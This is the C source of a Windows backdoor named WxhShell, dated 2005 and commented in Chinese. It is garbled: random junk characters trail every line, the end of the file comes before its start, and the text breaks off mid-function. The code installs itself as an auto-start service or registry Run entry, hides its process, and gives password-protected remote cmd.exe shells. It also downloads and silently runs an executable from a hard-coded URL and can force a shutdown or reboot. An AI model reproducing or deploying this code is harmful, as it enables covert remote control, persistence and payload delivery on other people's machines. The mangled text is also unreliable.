    else { uI-te~]  
    closesocket(wsh); "sf8~P9qy  
    ExitThread(0); rO 6oVz#x  
    } ;04doub  
    break; sxl29y^*  
    } `#2}[D   
  // 关机 2#ha Icm"  
  case 'd': { rayC1#f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fT/;TK>z>  
    if(Boot(SHUTDOWN)) 2M= gpy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/|"0$p2x  
    else { Q9X_aB0  
    closesocket(wsh); GKtG#jZ&  
    ExitThread(0); $~50M5&K#  
    } Oh~J yrZy  
    break; +K;(H']Z<-  
    } `pm6Ts{,  
  // 获取shell A%oHx|PD  
  case 's': { a7nbGqsx  
    CmdShell(wsh); !iCY!:  
    closesocket(wsh); A"#Gg7]tl'  
    ExitThread(0); +Ld4 e]  
    break; zhKb|SV  
  } [st4FaQ36  
  // 退出 (m=-oQ&Ro  
  case 'x': {  MI!C%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EG59L~nM  
    CloseIt(wsh); }Hrm/Ni  
    break; WWc{]R^D  
    } tH2y:o 72  
  // 离开 e[yk'E  
  case 'q': { L=VJl[DL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M2[;b+W9  
    closesocket(wsh); {*`qL0u]^  
    WSACleanup(); 3uz@JY"mK  
    exit(1); !V$m!i;  
    break; PE|_V  
        } d>)*!l2,C  
  } L/"XIMI*Xg  
  } ;a XcGa  
9Rzu0:r.,  
  // 提示信息 &2Q4{i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tV9nC   
} SI*O#K=w  
  } <E|i3\[p  
:o&qJ%  
  return; GG5wiN*2S  
} #<S+E7uTs  
 4EJ  
// shell模块句柄 nxKV7d@R  
int CmdShell(SOCKET sock) O2q`2L~  
{ ]P<u^ `{*  
STARTUPINFO si; hoD (G X  
ZeroMemory(&si,sizeof(si)); ZTVX5"#Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4W*52*'F,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8{8J(~  
PROCESS_INFORMATION ProcessInfo; ,mhO\P96ik  
char cmdline[]="cmd"; OSK 3X Qc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AwAUm 2^  
  return 0; `!kOyh:X  
} CQW#o_\  
{l%Of  
// 自身启动模式 &#F>%~<or  
int StartFromService(void) * h!gjbi  
{ {PnvQ?|Z  
typedef struct S2kFdx*Zf  
{ 6UG7lH!M  
  DWORD ExitStatus; (2[tQ`~  
  DWORD PebBaseAddress; &{]zL  
  DWORD AffinityMask; #pErGz'{  
  DWORD BasePriority; `6)GjZh^  
  ULONG UniqueProcessId; 0+}42g|_Z  
  ULONG InheritedFromUniqueProcessId; Cz-eiPlq  
}   PROCESS_BASIC_INFORMATION; x?9rT 0D  
<3m_} =\  
PROCNTQSIP NtQueryInformationProcess; M^AwOR7<  
75u/'0~5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mQhI"3! f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9i*t3W71]  
a"EX<6"  
  HANDLE             hProcess; |77.Lqqy,  
  PROCESS_BASIC_INFORMATION pbi; fr#Y<=Jo  
z Xx HaM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d`5xd@p  
  if(NULL == hInst ) return 0; KaNi'=nW  
PxNp'PZr9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); --4,6va`e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3s<~}&"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R?b3G4~  
!1$Q Nxgi  
  if (!NtQueryInformationProcess) return 0; $l@nk@  
e;GLPB   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 26.),a  
  if(!hProcess) return 0; \1cay#X  
rkugV&BhV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )y4bb^;z  
ON.C%-T-  
  CloseHandle(hProcess); 5R\{&  
"j;"\i0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b R> G%*a  
if(hProcess==NULL) return 0; "SJp9s3  
[KR|m,QWp  
HMODULE hMod; *pK bMG#  
char procName[255]; `U?" {;j {  
unsigned long cbNeeded; n!z7N3Ak>  
d]{wZ#x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  S {oW  
B9^ @d  
  CloseHandle(hProcess); F6 ?4&h?n  
<E/4/ ANN  
if(strstr(procName,"services")) return 1; // 以服务启动 s!(O7Ub  
?f f!(U  
  return 0; // 注册表启动 4r&DW'  
} e&sZ]{uD  
:,Z'/e0&  
// 主模块 >-J%=P  
int StartWxhshell(LPSTR lpCmdLine) _;L%? -2c  
{ }Q&zYC]d  
  SOCKET wsl; h\| ~Q.kG  
BOOL val=TRUE; ^YG'p?r.s  
  int port=0; > Dy<@e  
  struct sockaddr_in door; ix4O-o{  
<qJI]P  
  if(wscfg.ws_autoins) Install(); FcVQ_6  
P'%#B&LZo  
port=atoi(lpCmdLine); dO]N&'P7  
R+{QZ'K.qg  
if(port<=0) port=wscfg.ws_port; 1W3+ng  
Wi7!J[ B  
  WSADATA data; ~Cc%!4f'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h,%`*Qg6  
W%&t[ _21  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WzG]9$v &  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); omz%:'m`~  
  door.sin_family = AF_INET; j3>0oe!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KYa}k0tVAp  
  door.sin_port = htons(port); Q+@/.qJ  
`W>cA64 o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zntvKOIh  
closesocket(wsl); m}Xb#NAF8  
return 1; Q^13KWvuV  
} *Z}^T:3iw}  
%87D(h!.I4  
  if(listen(wsl,2) == INVALID_SOCKET) { 1g_p`(  
closesocket(wsl); 5&A{IN  
return 1; _G3L+St  
} dpAj9CX(  
  Wxhshell(wsl); Qp>'V<%m-  
  WSACleanup(); 1i=lJmr  
4`E[ WE:Q  
return 0; s/Ne,v  
>-8r|};+  
} QIl=Ho"c  
]hE%Tk-  
// 以NT服务方式启动 5SV w71 *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B|9[DNd  
{ W5i{W'  
DWORD   status = 0; p>M8:,  
  DWORD   specificError = 0xfffffff; m\*;Fx  
f2h`bO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ln-UN$2~F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M2Q*#U>6r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZkWX4?&OMt  
  serviceStatus.dwWin32ExitCode     = 0; WAq)1gwN  
  serviceStatus.dwServiceSpecificExitCode = 0; !s^[|2D_U  
  serviceStatus.dwCheckPoint       = 0;  &<nj~BL  
  serviceStatus.dwWaitHint       = 0; -Cn x!g}  
up_Qv#`Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +"}#4  
  if (hServiceStatusHandle==0) return; B`{7-Asc1  
?,XrZRF  
status = GetLastError(); (:Y0^  
  if (status!=NO_ERROR) X|&v]mJ  
{ ,c]<Yu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IKo,P$ PE  
    serviceStatus.dwCheckPoint       = 0; hW<TP'Zm*  
    serviceStatus.dwWaitHint       = 0; w-{a>ZU0  
    serviceStatus.dwWin32ExitCode     = status; %"[`   
    serviceStatus.dwServiceSpecificExitCode = specificError; |)KOy~"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V2B@Lq"9`  
    return; kB#;s  
  } %*bGW'Cw  
TmviYP gb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (V(8E%<c  
  serviceStatus.dwCheckPoint       = 0; mETGYkPUa  
  serviceStatus.dwWaitHint       = 0; C[ma!he  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hqDnmzG  
} Mi^/`1  
m>FP&~2  
// 处理NT服务事件,比如:启动、停止 4De2m iq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xaN[ru@  
{ M4H~]Ftn  
switch(fdwControl) r;n^\[Ov0,  
{ :<p3L!?8y  
case SERVICE_CONTROL_STOP: 1S{AGgls5  
  serviceStatus.dwWin32ExitCode = 0; 62.)fCQ^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S7B\m v  
  serviceStatus.dwCheckPoint   = 0; ntr&? H  
  serviceStatus.dwWaitHint     = 0; to9X2^  
  { aM5Hp>'nI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L l$,"}0T  
  } Vq&}i~  
  return; * lo0T93B  
case SERVICE_CONTROL_PAUSE: #i;y[dQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PenkqDc}  
  break; 99GK6}~TGm  
case SERVICE_CONTROL_CONTINUE: S1I# qb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GI5#{-)  
  break; R$m?aIN  
case SERVICE_CONTROL_INTERROGATE: |S6L[Uo  
  break; Au10]b  
}; <D`VFSEJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&z$4!wQB  
} .;J6)h  
vu@@!cT6e  
// 标准应用程序主函数 [,yYr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @1vpkB~ w  
{ )+ (GE  
gmUX 2x(  
// 获取操作系统版本 vqhu%ZyP  
OsIsNt=GetOsVer(); _uL8TC ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^ *1hz<  
bZ SaL^^(  
  // 从命令行安装 ugV/#v O  
  if(strpbrk(lpCmdLine,"iI")) Install(); o}b_`O  
WSxE/C|[  
  // 下载执行文件 6s.>5}M!  
if(wscfg.ws_downexe) { 7`J= PG$A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !sVW0JSh  
  WinExec(wscfg.ws_filenam,SW_HIDE); nPR*mbW  
} cI\&&<>SlG  
Oil~QAd,  
if(!OsIsNt) { oiRrpS\T.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Lc, w  
HideProc(); fB= j51Lw  
StartWxhshell(lpCmdLine); 4^GIQEjx  
} ]G}:cCpd+a  
else " ?=$(7uc  
  if(StartFromService()) g/+|gHq^  
  // 以服务方式启动 1|WrJ-Uf  
  StartServiceCtrlDispatcher(DispatchTable); z1m-t# v:  
else 6f*QUw~  
  // 普通方式启动 F\2<q$Zn+  
  StartWxhshell(lpCmdLine); 06]%$ -j  
exxH0^  
return 0; yvCX is  
} \AOHZ r  
\R[f< K%  
,1 ^IFBJ  
K3^2;j1F Q  
=========================================== LEd@""h  
_ SJ Fuv/  
G-[.BWQ   
Ex+E66bE  
EkpM'j=  
KY+BXGW*  
" p~yGp] yJ9  
YBupC!R  
#include <stdio.h> #BW:*$>}  
#include <string.h> +>QD4z#  
#include <windows.h> )}to7r7 `  
#include <winsock2.h> 9P& \2/ {  
#include <winsvc.h> 63SmQsv  
#include <urlmon.h> +W+o~BE  
Hto+spW  
#pragma comment (lib, "Ws2_32.lib") Gt$PBlq0  
#pragma comment (lib, "urlmon.lib") L2IY$+=M  
p5Wz.n.<'  
#define MAX_USER   100 // 最大客户端连接数 b *Ca*!  
#define BUF_SOCK   200 // sock buffer |xFSGrC  
#define KEY_BUFF   255 // 输入 buffer }qg.Go  
m](q,65 2  
#define REBOOT     0   // 重启 JN-W`2  
#define SHUTDOWN   1   // 关机 -ZH6*7!  
HX#$ ^@Q(  
#define DEF_PORT   5000 // 监听端口 ,CIsZ1[VS  
KkZS6rD\  
#define REG_LEN     16   // 注册表键长度 dmYgv^t  
#define SVC_LEN     80   // NT服务名长度 Z#zXary5s  
5}4>vEn  
// 从dll定义API 85rjM#~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vAqVs5 j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ZtF,`Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {JtfEna  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /Jc54d  
)@_5}8  
// wxhshell配置信息 vw*,_f  
struct WSCFG { -r%k)4_  
  int ws_port;         // 监听端口 h3Y|0-D  
  char ws_passstr[REG_LEN]; // 口令 {ewo-dva  
  int ws_autoins;       // 安装标记, 1=yes 0=no \t ^9UN  
  char ws_regname[REG_LEN]; // 注册表键名 jJ3dZ<#  
  char ws_svcname[REG_LEN]; // 服务名 t_hr${  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Is#_Z|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 15_Px9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +:&|]$8<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'wjL7P I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r:5u(2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q|QkJr <  
J3y4 D}  
}; <_#a%+5d  
}CQ)W1mO"  
// default Wxhshell configuration .$zo_~ mR  
struct WSCFG wscfg={DEF_PORT, &+")~2 +  
    "xuhuanlingzhe", H'?dsc  
    1, !Q=xIS  
    "Wxhshell", }3=^Ik;x  
    "Wxhshell", 1q/Q@O  
            "WxhShell Service", )#v0.pE  
    "Wrsky Windows CmdShell Service", A Eo  
    "Please Input Your Password: ",  %Krf,H  
  1, bG/[mZpRT  
  "http://www.wrsky.com/wxhshell.exe", j7qGZ"8ak  
  "Wxhshell.exe" N*'d]P2P`J  
    }; Eb89B%L62G  
HME`7dw?  
// 消息定义模块 )KKmV6>b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B`?5G\7L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v4VP7h6uD)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z K6'wL!!I  
char *msg_ws_ext="\n\rExit."; }TG=ZVi  
char *msg_ws_end="\n\rQuit."; =j~Xrytn  
char *msg_ws_boot="\n\rReboot..."; &6^QFqqW`-  
char *msg_ws_poff="\n\rShutdown..."; /^':5"=o  
char *msg_ws_down="\n\rSave to "; %Wa. 2s  
_$m1?DZ  
char *msg_ws_err="\n\rErr!"; =-;J2Qlg6  
char *msg_ws_ok="\n\rOK!"; L+Q.y~  
c4iGtW  
char ExeFile[MAX_PATH]; c52S2f7  
int nUser = 0; :tT6V(-W  
HANDLE handles[MAX_USER]; 3>%:%bP  
int OsIsNt; mH 9_HK.C  
A;7At!kK  
SERVICE_STATUS       serviceStatus; tjbI*Pw7(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &5Huv?^a'  
`Zd\d:Wyv  
// 函数声明 Mb'Tx  
int Install(void); TSUT3'&~p  
int Uninstall(void); PLhlbzcf  
int DownloadFile(char *sURL, SOCKET wsh); 1(jDBP!8  
int Boot(int flag); LIfYpn6  
void HideProc(void); \kG;T=H  
int GetOsVer(void); l g*eSx>M  
int Wxhshell(SOCKET wsl); wD5fm5r=  
void TalkWithClient(void *cs); >tTu1#t  
int CmdShell(SOCKET sock); yc.9CTxx  
int StartFromService(void); &'oZ]}^ 0  
int StartWxhshell(LPSTR lpCmdLine); /7uA f{  
b9TsuY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Kd;)E 9Ti  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iDV. C@   
Gk]6WLi  
// 数据结构和表定义 Q3 yW#eD  
SERVICE_TABLE_ENTRY DispatchTable[] = >rid3~  
{ %SJFuw"  
{wscfg.ws_svcname, NTServiceMain}, #?fKi$fS;L  
{NULL, NULL} }S6"$R  
}; HB, k}Q  
h4tAaPcS+  
// 自我安装 LuvRxmQ`  
int Install(void) @aUQy;  
{ E{xcu9  
  char svExeFile[MAX_PATH]; Fm4)|5  
  HKEY key; UpS7>c7s  
  strcpy(svExeFile,ExeFile); ^(~%'f  
M&^Iun  
// 如果是win9x系统,修改注册表设为自启动 8 EUc 6  
if(!OsIsNt) { pvYBhTz0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 67A g.f6-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z&Xp9"j,@;  
  RegCloseKey(key); }$Z0v`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h+j{;evN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!.%Qqs  
  RegCloseKey(key); `!@d$*:'  
  return 0;  r0,XR  
    } i2X%xYv ^  
  } BTDUT%Yfg  
} vY!'@W  
else { V~fPp"F  
pd}Cg'}X  
// 如果是NT以上系统,安装为系统服务 4N8(WI"4S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N'~l,{  
if (schSCManager!=0) uc]`^,`2/  
{ `]j:''K  
  SC_HANDLE schService = CreateService ~ ^*;#[<  
  ( dT'd C  
  schSCManager, ?XB[awTD~  
  wscfg.ws_svcname, R_2T"  
  wscfg.ws_svcdisp, H& !?c5  
  SERVICE_ALL_ACCESS, =pd#U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZiaHLpk  
  SERVICE_AUTO_START, 0YO/G1O&  
  SERVICE_ERROR_NORMAL, Sd+bnq%  
  svExeFile, ]? % *3I  
  NULL, ]?lUe5F  
  NULL, rObg:(z&\  
  NULL, _:~I(c6   
  NULL, >o )v  
  NULL 8C8,Q\WV(~  
  ); q}cm"lO$  
  if (schService!=0) )<[)7`  
  { [^0 S#,L  
  CloseServiceHandle(schService); pYz\GSd  
  CloseServiceHandle(schSCManager); N;R I A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T7?cnK"  
  strcat(svExeFile,wscfg.ws_svcname); 0[.T`tpN'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^0HgE;4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lw=!v%L  
  RegCloseKey(key); q#\4/Dt  
  return 0; >!W H%J  
    } 'nN'bVl/  
  } GS+Z(,J>=  
  CloseServiceHandle(schSCManager); 8 DPn5E#M1  
} HwZ"l31  
} 8:fq!m  
U# U*^#  
return 1; OCEhwB0  
} U?=-V8#M|  
;VS$xnZ  
// 自我卸载 +d=w%r)  
int Uninstall(void) [Zne19/  
{ k\Z7Dg$\D  
  HKEY key; :%>TM/E N  
d8.A8<wUr  
if(!OsIsNt) { cf,^7,-`"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A5go)~x\  
  RegDeleteValue(key,wscfg.ws_regname); '+v[z=.8]  
  RegCloseKey(key); 98XlcI#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IsiBn(1Z  
  RegDeleteValue(key,wscfg.ws_regname); kK/( [!  
  RegCloseKey(key); Kp>fOe'KW  
  return 0; K#LDmC  
  } FK~*X3'  
} 8 `}I]  
} Ru@ { b`  
else { mr>dZ)  
ffR<G&"n~b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >E9 k5  
if (schSCManager!=0) YK>?;U+|  
{ @:t2mz:^i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L~E|c/  
  if (schService!=0) X+QoO=02LR  
  { sFw;P`  
  if(DeleteService(schService)!=0) { g17 fge6%  
  CloseServiceHandle(schService); a/xnf<(H  
  CloseServiceHandle(schSCManager); }U@(S>,%  
  return 0; 5#~E[dr  
  } <-"[9 w  
  CloseServiceHandle(schService); w+gPU1|(r  
  } ={\9-JJhE  
  CloseServiceHandle(schSCManager); 4 }NCdGD  
} Qrw:Bva)  
} b<j*;n.  
5M\bH'1  
return 1; v]y=+* A  
} |: pBk:  
<&l@ ):a  
// 从指定url下载文件 Y_/w}HB  
int DownloadFile(char *sURL, SOCKET wsh) E|y  
{ h-6x! 6pm  
  HRESULT hr; v+C%t!dx  
char seps[]= "/"; ;%Kh~  
char *token; ;]>a7o  
char *file; 7M<co,"  
char myURL[MAX_PATH]; Bdm05}c@u  
char myFILE[MAX_PATH]; ak\[+wQ  
rPK1#  
strcpy(myURL,sURL); L:7 kp<E  
  token=strtok(myURL,seps); TGGbO:s3  
  while(token!=NULL) 3&zcdwPj  
  { =>L2~>[  
    file=token; UN|S!&C$  
  token=strtok(NULL,seps); xM$AhH  
  } qVE <voB8  
R|[gEavFl  
GetCurrentDirectory(MAX_PATH,myFILE); gP`CQ0t  
strcat(myFILE, "\\"); PAXm  
strcat(myFILE, file); <=%=,Yk  
  send(wsh,myFILE,strlen(myFILE),0);  ?%*p!m  
send(wsh,"...",3,0); :kvQ3E0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (w`j?c1  
  if(hr==S_OK) pYh\l.@qf  
return 0; yM*_"z!L  
else y>0Gmr  
return 1; XA\wZV |{  
bzh:  
} %*OQH?pyx}  
0zE(:K  
// 系统电源模块 Iz8gZ:rd0  
int Boot(int flag) 2E0oLl[  
{ D~)bAPAD  
  HANDLE hToken; hVh,\d&2t  
  TOKEN_PRIVILEGES tkp; krRnE7\m  
f1q0*)fk  
  if(OsIsNt) { \7G.anY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5% w08  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \S>GtlQbn  
    tkp.PrivilegeCount = 1; d$y?py  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  {?Cm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MP~+@0cv  
if(flag==REBOOT) { I "HEXsSe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e6Kyu*  
  return 0; QObHW[:F  
} 5ljEh -  
else { V`}u:t7r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @zT2!C?^L  
  return 0; }$#PIyz  
} H__'K/nH+  
  } i4m P*RwC  
  else { JtxitF2  
if(flag==REBOOT) { ] -%B4lT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?@7Reh\  
  return 0; DJ`xCs!R  
} n@J>,K_B  
else { 's$/-AV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F!P,%Jm I<  
  return 0; *hh iIiog+  
} j-wKm_M#jX  
} rW+}3] !D/  
+ aWcK6  
return 1; Li9>RY+3  
} ;<#=|eD2  
0a:@DOzT  
// win9x进程隐藏模块 Wm/0Pi  
void HideProc(void) XRi37|p  
{ eg"A?S  
FY pspv?4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V^_U=Ed@M  
  if ( hKernel != NULL ) #lF 2q w  
  { . dJBv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4jC7>mE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >XW-W  
    FreeLibrary(hKernel); D[` ~=y(  
  } mt4X  
czH# ~  
return; 4c<\_\\ck  
} )\ J~KB4  
T1;>qgp4b  
// 获取操作系统版本 u56F;y  
int GetOsVer(void) 9]:F!d/  
{ fvj  
  OSVERSIONINFO winfo; yh{U!hG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bSa]={}L(  
  GetVersionEx(&winfo); <tdsUh:?&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @#yl_r%  
  return 1; ;WG%)^e  
  else Rg3g:TV9c  
  return 0; Fi# 9L  
} MJU*Sq  
iyr<qtwK  
// 客户端句柄模块 U "v=XK)!  
int Wxhshell(SOCKET wsl) M|7][! <G!  
{ M6y|;lh''c  
  SOCKET wsh; #v*3-) 8  
  struct sockaddr_in client; dv?t;D@p!  
  DWORD myID; }>_  
AJ z 1    
  while(nUser<MAX_USER) i:H]Sb)<b  
{ M,we,!B0  
  int nSize=sizeof(client); !\\OMAf7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *!yA'z<  
  if(wsh==INVALID_SOCKET) return 1; zm#%]p80f  
ld#YXJ;P.k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lm+E?Ca  
if(handles[nUser]==0) : :928y  
  closesocket(wsh); (&M,rW~Qxs  
else GN+!o($  
  nUser++; dw'P =8d  
  } \_7'f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' ?a d  
O;.DQ  
  return 0; " "S&zN  
} (/7cXd@\6  
YD#L@:&gv  
// 关闭 socket G> s qfYkK  
void CloseIt(SOCKET wsh) mteQRgC  
{ {"O-/* f+(  
closesocket(wsh); /sSM<r]5j  
nUser--; @eYD@!  
ExitThread(0); E,QD6<?[  
} AR c  
%!R\-Vej  
// 客户端请求句柄 % -.V6}V  
void TalkWithClient(void *cs) _~;K]  
{ -i]2 b  
? 8)k6:  
  SOCKET wsh=(SOCKET)cs; q[x|tO  
  char pwd[SVC_LEN]; *r ('A  
  char cmd[KEY_BUFF]; XII',&  
char chr[1];  KON^  
int i,j; 0 > QqsQ  
KBA& s  
  while (nUser < MAX_USER) { eWXR #g!%>  
8v6AfTo%  
if(wscfg.ws_passstr) { pv^:G;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RY\ 0dv>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  {IT xHt  
  //ZeroMemory(pwd,KEY_BUFF); f]2;s#cu  
      i=0; f||S?ns_  
  while(i<SVC_LEN) { ~|ha9 1  
wdIJ?\/763  
  // 设置超时 KK4rVb:-  
  fd_set FdRead; [Bj\h7 G  
  struct timeval TimeOut; VRg y  
  FD_ZERO(&FdRead); $<L@B|}F)  
  FD_SET(wsh,&FdRead); Gsy'':u  
  TimeOut.tv_sec=8; ^~s!*T)\  
  TimeOut.tv_usec=0; 6 kD.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NleMZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 $^b^It  
$&sV.fGu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { &J OO  
  pwd=chr[0]; ITD&w g  
  if(chr[0]==0xd || chr[0]==0xa) { *P?Rucg  
  pwd=0; c`oW-K{  
  break; vZPBjloT!.  
  } WsT   
  i++; W)L*zVj~  
    } :W$- b  
-4obX  
  // 如果是非法用户,关闭 socket s<5PsR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ViU5l*n;  
} <:!:7  
[@@EE> y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Vh }d/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?>My&yB  
+mYK  
while(1) { H% FP!03  
9{Igw"9ck  
  ZeroMemory(cmd,KEY_BUFF); 3il$V78|  
#Fkp6`Q$x  
      // 自动支持客户端 telnet标准   <&tdyAT?&  
  j=0; E0.o/3Gw6  
  while(j<KEY_BUFF) { znAo]F9=J"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9}+X#ma.Nc  
  cmd[j]=chr[0]; B[d%?L_  
  if(chr[0]==0xa || chr[0]==0xd) { F:AVik  
  cmd[j]=0; z Ece>=C  
  break; Lzx2An@R  
  } T&j:gg  
  j++; pk6<wAs*?#  
    } ~VV$wU!A  
HrUE?Sq  
  // 下载文件 BadnL<cj]  
  if(strstr(cmd,"http://")) { BN6cu9a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DXZZZ[#  
  if(DownloadFile(cmd,wsh)) L0Ajj=  
